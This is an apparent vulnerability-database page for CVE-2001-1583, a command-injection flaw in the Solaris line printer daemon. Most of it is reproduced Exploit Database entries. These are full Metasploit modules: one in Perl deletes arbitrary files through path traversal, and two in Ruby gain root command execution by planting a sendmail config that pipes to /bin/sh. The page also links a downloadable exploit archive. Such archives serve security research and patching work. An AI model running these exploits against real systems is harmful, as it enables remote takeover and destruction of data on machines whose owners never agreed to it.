Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-78 |
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
10 |
|
AV:N/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 1167
Publication date : 2005-08-18 22h00 +00:00
Author : Optyx
EDB Verified : Yes
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Exploit::solaris_lpd_unlink;
use base "Msf::Exploit";
use IO::Socket;
use IO::Select;
use strict;
use Pex::Text;
my $advanced = { };
my $info =
{
'Name' => 'Solaris LPD Arbitrary File Delete',
'Version' => '$Revision: 1.6 $',
'Authors' =>
[
'H D Moore <hdm [at] metasploit.com>',
'Optyx <optyx [at] uberhax0r.net>'
],
'Arch' => [ ],
'OS' => [ 'solaris' ],
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The LPD server port', 515],
'RPATH' => [1, 'DATA', 'The remote path name to delete'],
},
'Description' => Pex::Text::Freeform(qq{
This module uses a vulnerability in the Solaris line printer daemon
to delete arbitrary files on an affected system. This can be used to exploit
the rpc.walld format string flaw, the missing krb5.conf authentication bypass,
or simple delete system files. Tested on Solaris 2.6, 7, 8, 9, and 10.
}),
'Refs' =>
[
['URL', 'http://sunsolve.sun.com/search/document.do?assetkey=1-26-101842-1'],
],
'DefaultTarget' => 0,
'Targets' => [['No Target Needed']],
'Keys' => ['lpd'],
};
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}
sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_path = $self->GetVar('RPATH');
my $res;
# We use one connection to configure the spool directory
my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);
if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}
# Send a job request that will trigger the cascade adaptor (thanks Dino!)
$s->Send("\x02"."metasploit:framework\n");
$res = $s->Recv(1, 5);
if (ord($res) != 0) {
$self->PrintLine("[*] The target did not accept our job request command");
return;
}
# The job ID is squashed down to three decimal digits
my $jid = ($$ % 1000).unpack("H*",pack('N', time() + $$));
# Create a simple control file...
my $control = "Hmetasploit\nPr00t\n";
# Theoretically, we could delete multiple files at once, however
# the lp daemon will append garbage from memory to the path name
# if we don't stick a null byte after the path. Unfortunately, this
# null byte will prevent the parser from processing the other paths.
$control .= "U".("../" x 10)."$target_path\x00\n";
my $dataf = "http://metasploit.com/\n";
$self->PrintLine("[*] Sending the malicious cascaded job request...");
if ( ! $self->SendFile($s, 2, "cfA".$jid."metasploit", $control) ||
! $self->SendFile($s, 3, "dfa".$jid."metasploit", $dataf) ||
0
) { $s->Close; return }
$self->PrintLine('');
$self->PrintLine("[*] Successfully deleted $target_path >:-]");
return;
}
sub SendFile {
my $self = shift;
my $sock = shift;
my $type = shift;
my $name = shift;
my $data = shift;
$sock->Send(chr($type) .length($data). " $name\n");
my $res = $sock->Recv(1, 5);
if (ord($res) != 0) {
$self->PrintLine("[*] The target did not accept our control file command ($name)");
return;
}
$sock->Send($data);
$sock->Send("\x00");
$res = $sock->Recv(1, 5);
if (ord($res) != 0) {
$self->PrintLine("[*] The target did not accept our control file data ($name)");
return;
}
$self->PrintLine(sprintf("[*] Uploaded %.4d bytes >> $name", length($data)));
return 1;
}
1;
# milw0rm.com [2005-08-19]
Exploit Database EDB-ID : 21097
Publication date : 2001-08-30 22h00 +00:00
Author : ron1n
EDB Verified : Yes
source: https://www.securityfocus.com/bid/3274/info
The print protocol daemon, 'in.lpd' (or 'lpd'), shipped with Solaris may allow for remote attackers to execute arbitrary commands on target hosts with superuser privileges.
The alleged vulnerability is not the buffer overflow discovered by ISS.
It has been reported that it is possible to execute commands on target hosts through lpd by manipulating the use of sendmail by the daemon.
If this vulnerability is successfully exploited, remote attackers can execute any command on the target host with superuser privileges.
This vulnerability is very similar to one mentioned in NAI advisory NAI-0020.
NOTE: It has been reported that a valid printer does NOT need to be configured to exploit this vulnerability.
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21097.tar.gz
Exploit Database EDB-ID : 9921
Publication date : 2001-08-30 22h00 +00:00
Author : H D Moore
EDB Verified : Yes
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Solaris LPD Command Execution',
'Description' => %q{
This module exploits an arbitrary command execution flaw in
the in.lpd service shipped with all versions of Sun Solaris
up to and including 8.0. This module uses a technique
discovered by Dino Dai Zovi to exploit the flaw without
needing to know the resolved name of the attacking system.
},
'Author' => [ 'hdm', 'ddz' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2001-1583'],
[ 'OSVDB', '15131'],
[ 'BID', '3274'],
],
'Platform' => ['unix', 'solaris'],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 8192,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl telnet',
}
},
'Targets' =>
[
[ 'Automatic Target', { }]
],
'DisclosureDate' => 'Aug 31 2001',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(515)
], self.class)
end
def exploit
# This is the temporary path created in the spool directory
spath = "/var/spool/print"
# The job ID is squashed down to three decimal digits
jid = ($$ % 1000).to_s + [Time.now.to_i].pack('N').unpack('H*')[0]
# The control file
control =
"H"+"metasploit\n"+
"P"+"\\\"-C"+spath+"/"+jid+"mail.cf\\\" nobody\n"+
"f"+"dfA"+jid+"config\n"+
"f"+"dfA"+jid+"script\n"
# The mail configuration file
mailcf =
"V8\n"+
"\n"+
"Ou0\n"+
"Og0\n"+
"OL0\n"+
"Oeq\n"+
"OQX/tmp\n"+
"\n"+
"FX|/bin/sh #{spath}/#{jid}script\n"+
"\n"+
"S3\n"+
"S0\n"+
"R\+ #local \\@blah :blah\n"+
"S1\n"+
"S2\n"+
"S4\n"+
"S5\n"+
"\n"+
"Mlocal P=/bin/sh, J=S, S=0, R=0, A=sh #{spath}/#{jid}script\n"+
"Mprog P=/bin/sh, J=S, S=0, R=0, A=sh #{spath}/#{jid}script\n"
# Establish the first connection to the server
sock1 = connect(false)
# Request a cascaded job
sock1.put("\x02metasploit:framework\n")
res = sock1.get_once
if (not res)
print_status("The target did not accept our job request command")
return
end
print_status("Configuring the spool directory...")
if !(
send_file(sock1, 2, "cfA" + jid + "metasploit", control) and
send_file(sock1, 3, jid + "mail.cf", mailcf) and
send_file(sock1, 3, jid + "script", payload.encoded)
)
sock1.close
return
end
# Establish the second connection to the server
sock2 = connect(false)
# Request another cascaded job
sock2.put("\x02localhost:metasploit\n")
res = sock2.get_once
if (not res)
print_status("The target did not accept our second job request command")
return
end
print_status("Triggering the vulnerable call to the mail program...")
if !(
send_file(sock2, 2, "cfA" + jid + "metasploit", control) and
send_file(sock2, 3, "dfa" + jid + "config", mailcf)
)
sock1.close
sock2.close
return
end
sock1.close
sock2.close
print_status("Waiting up to 60 seconds for the payload to execute...")
sleep(60)
handler
end
def send_file(s, type, name, data='')
s.put(type.chr + data.length.to_s + " " + name + "\n")
res = s.get_once(1)
if !(res and res[0] == ?\0)
print_status("The target did not accept our control file command (#{name})")
return
end
s.put(data)
s.put("\x00")
res = s.get_once(1)
if !(res and res[0] == ?\0)
print_status("The target did not accept our control file data (#{name})")
return
end
print_status(sprintf(" Uploaded %.4d bytes >> #{name}", data.length))
return true
end
end
Exploit Database EDB-ID : 16322
Publication date : 2010-09-19 22h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# $Id: sendmail_exec.rb 10394 2010-09-20 08:06:27Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Solaris LPD Command Execution',
'Description' => %q{
This module exploits an arbitrary command execution flaw in
the in.lpd service shipped with all versions of Sun Solaris
up to and including 8.0. This module uses a technique
discovered by Dino Dai Zovi to exploit the flaw without
needing to know the resolved name of the attacking system.
},
'Author' => [ 'hdm', 'ddz' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 10394 $',
'References' =>
[
[ 'CVE', '2001-1583'],
[ 'OSVDB', '15131'],
[ 'BID', '3274'],
],
'Platform' => ['unix', 'solaris'],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 8192,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl telnet',
}
},
'Targets' =>
[
[ 'Automatic Target', { }]
],
'DisclosureDate' => 'Aug 31 2001',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(515)
], self.class)
end
def exploit
# This is the temporary path created in the spool directory
spath = "/var/spool/print"
# The job ID is squashed down to three decimal digits
jid = ($$ % 1000).to_s + [Time.now.to_i].pack('N').unpack('H*')[0]
# The control file
control =
"H"+"metasploit\n"+
"P"+"\\\"-C"+spath+"/"+jid+"mail.cf\\\" nobody\n"+
"f"+"dfA"+jid+"config\n"+
"f"+"dfA"+jid+"script\n"
# The mail configuration file
mailcf =
"V8\n"+
"\n"+
"Ou0\n"+
"Og0\n"+
"OL0\n"+
"Oeq\n"+
"OQX/tmp\n"+
"\n"+
"FX|/bin/sh #{spath}/#{jid}script\n"+
"\n"+
"S3\n"+
"S0\n"+
"R\+ #local \\@blah :blah\n"+
"S1\n"+
"S2\n"+
"S4\n"+
"S5\n"+
"\n"+
"Mlocal P=/bin/sh, J=S, S=0, R=0, A=sh #{spath}/#{jid}script\n"+
"Mprog P=/bin/sh, J=S, S=0, R=0, A=sh #{spath}/#{jid}script\n"
# Establish the first connection to the server
sock1 = connect(false)
# Request a cascaded job
sock1.put("\x02metasploit:framework\n")
res = sock1.get_once
if (not res)
print_status("The target did not accept our job request command")
return
end
print_status("Configuring the spool directory...")
if !(
send_file(sock1, 2, "cfA" + jid + "metasploit", control) and
send_file(sock1, 3, jid + "mail.cf", mailcf) and
send_file(sock1, 3, jid + "script", payload.encoded)
)
sock1.close
return
end
# Establish the second connection to the server
sock2 = connect(false)
# Request another cascaded job
sock2.put("\x02localhost:metasploit\n")
res = sock2.get_once
if (not res)
print_status("The target did not accept our second job request command")
return
end
print_status("Attempting to trigger the vulnerable call to the mail program...")
if !(
send_file(sock2, 2, "cfA" + jid + "metasploit", control) and
send_file(sock2, 3, "dfa" + jid + "config", mailcf)
)
sock1.close
sock2.close
return
end
sock1.close
sock2.close
print_status("Waiting up to 60 seconds for the payload to execute...")
select(nil,nil,nil,60)
handler
end
def send_file(s, type, name, data='')
s.put(type.chr + data.length.to_s + " " + name + "\n")
res = s.get_once(1)
if !(res and res[0,1] == "\x00")
print_status("The target did not accept our control file command (#{name})")
return
end
s.put(data)
s.put("\x00")
res = s.get_once(1)
if !(res and res[0,1] == "\x00")
print_status("The target did not accept our control file data (#{name})")
return
end
print_status(sprintf(" Uploaded %.4d bytes >> #{name}", data.length))
return true
end
end
Products Mentioned
Configuraton 0
Sun>>Sunos >> Version To (including) 5.9
References